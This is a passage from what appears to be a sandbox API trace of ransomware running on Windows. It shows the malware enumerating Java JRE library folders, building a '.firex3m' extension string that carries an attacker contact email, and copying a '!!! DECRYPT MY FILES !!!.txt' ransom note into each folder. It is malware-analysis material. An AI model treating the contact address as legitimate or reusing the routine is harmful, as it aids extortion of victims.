Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", cchLength=0x34 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 0x34 [0118.973] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.973] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.973] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.973] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.973] GetProcessHeap () returned 0x630000 [0118.973] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x104) returned 0x6807b8 [0118.973] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x997, dwReserved0=0x0, dwReserved1=0x0, cFileName="logging.properties", cAlternateFileName="LOGGIN~1.PRO")) returned 1 [0118.974] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties", len=0x39 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 1 [0118.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties", cchLength=0x39 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties") returned 0x39 [0118.974] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.974] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.974] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.974] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.974] GetProcessHeap () returned 0x630000 [0118.974] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6807b8, Size=0x108) returned 0x6807b8 [0118.974] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="management", cAlternateFileName="MANAGE~1")) returned 1 [0118.974] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\", len=0x32 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\") returned 1 [0118.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\", cchLength=0x32 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\management\\") returned 0x32 [0118.974] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0118.974] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0118.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x63031c, cFileName=".", cAlternateFileName="")) returned 0x6d52c0 [0119.062] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.062] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.access", cAlternateFileName="JMXREM~1.ACC")) returned 1 [0119.062] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access", len=0x42 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 1 [0119.062] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access", cchLength=0x42 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 0x42 [0119.062] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.062] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.062] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.062] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.063] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdae4, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0119.063] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdae0, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0119.063] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe84c | out: lpFindFileData=0x6ebe84c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xa8c50c02, dwReserved1=0x1d327cc, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4e00 [0119.063] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0119.063] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0119.066] GetProcessHeap () returned 0x630000 [0119.066] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6807b8, Size=0xfc) returned 0x6807b8 [0119.066] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb28, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.password.template", cAlternateFileName="JMXREM~1.TEM")) returned 1 [0119.066] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template", len=0x4d | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 1 [0119.066] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template", cchLength=0x4d | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 0x4d [0119.066] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.066] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.066] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.067] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.067] GetProcessHeap () returned 0x630000 [0119.067] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6807b8, Size=0x100) returned 0x6807b8 [0119.067] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.properties", cAlternateFileName="MANAGE~1.PRO")) returned 1 [0119.067] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties", len=0x47 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 1 [0119.067] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties", cchLength=0x47 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties") returned 0x47 [0119.067] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.067] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.067] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.067] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.067] GetProcessHeap () returned 0x630000 [0119.067] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6807b8, Size=0x104) returned 0x6807b8 [0119.067] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 1 [0119.068] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template", len=0x43 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 1 [0119.068] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template", cchLength=0x43 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 0x43 [0119.068] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.068] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.068] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.068] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.068] GetProcessHeap () returned 0x630000 [0119.068] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6807b8, Size=0x108) returned 0x6807b8 [0119.068] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0119.068] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0119.069] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0119.069] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar", len=0x3b | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 1 [0119.069] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar", cchLength=0x3b | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar") returned 0x3b [0119.069] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.069] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.069] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.069] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.069] GetProcessHeap () returned 0x630000 [0119.069] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6807b8, Size=0x10c) returned 0x6807b8 [0119.069] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x84e, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1 [0119.069] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index", len=0x31 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 1 [0119.069] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index", cchLength=0x31 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index") returned 0x31 [0119.070] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.070] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.070] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.070] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.070] GetProcessHeap () returned 0x630000 [0119.070] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6807b8, Size=0x110) returned 0x6807b8 [0119.070] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1170, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.properties", cAlternateFileName="NET~1.PRO")) returned 1 [0119.070] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties", len=0x35 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 1 [0119.070] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties", cchLength=0x35 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties") returned 0x35 [0119.070] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.070] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.070] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.070] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.071] GetProcessHeap () returned 0x630000 [0119.071] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6807b8, Size=0x114) returned 0x6807b8 [0119.071] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d81efe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d81efe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8df45fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1d588b, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.jar", cAlternateFileName="")) returned 1 [0119.071] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar", len=0x31 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 1 [0119.071] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar", cchLength=0x31 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar") returned 0x31 [0119.071] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.071] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.071] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.071] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.071] GetProcessHeap () returned 0x630000 [0119.071] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6807b8, Size=0x118) returned 0x6807b8 [0119.071] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfont.properties.ja", cAlternateFileName="PSFONT~1.JA")) returned 1 [0119.072] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja", len=0x3b | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 1 [0119.072] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja", cchLength=0x3b | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 0x3b [0119.072] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.072] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.072] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.072] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: 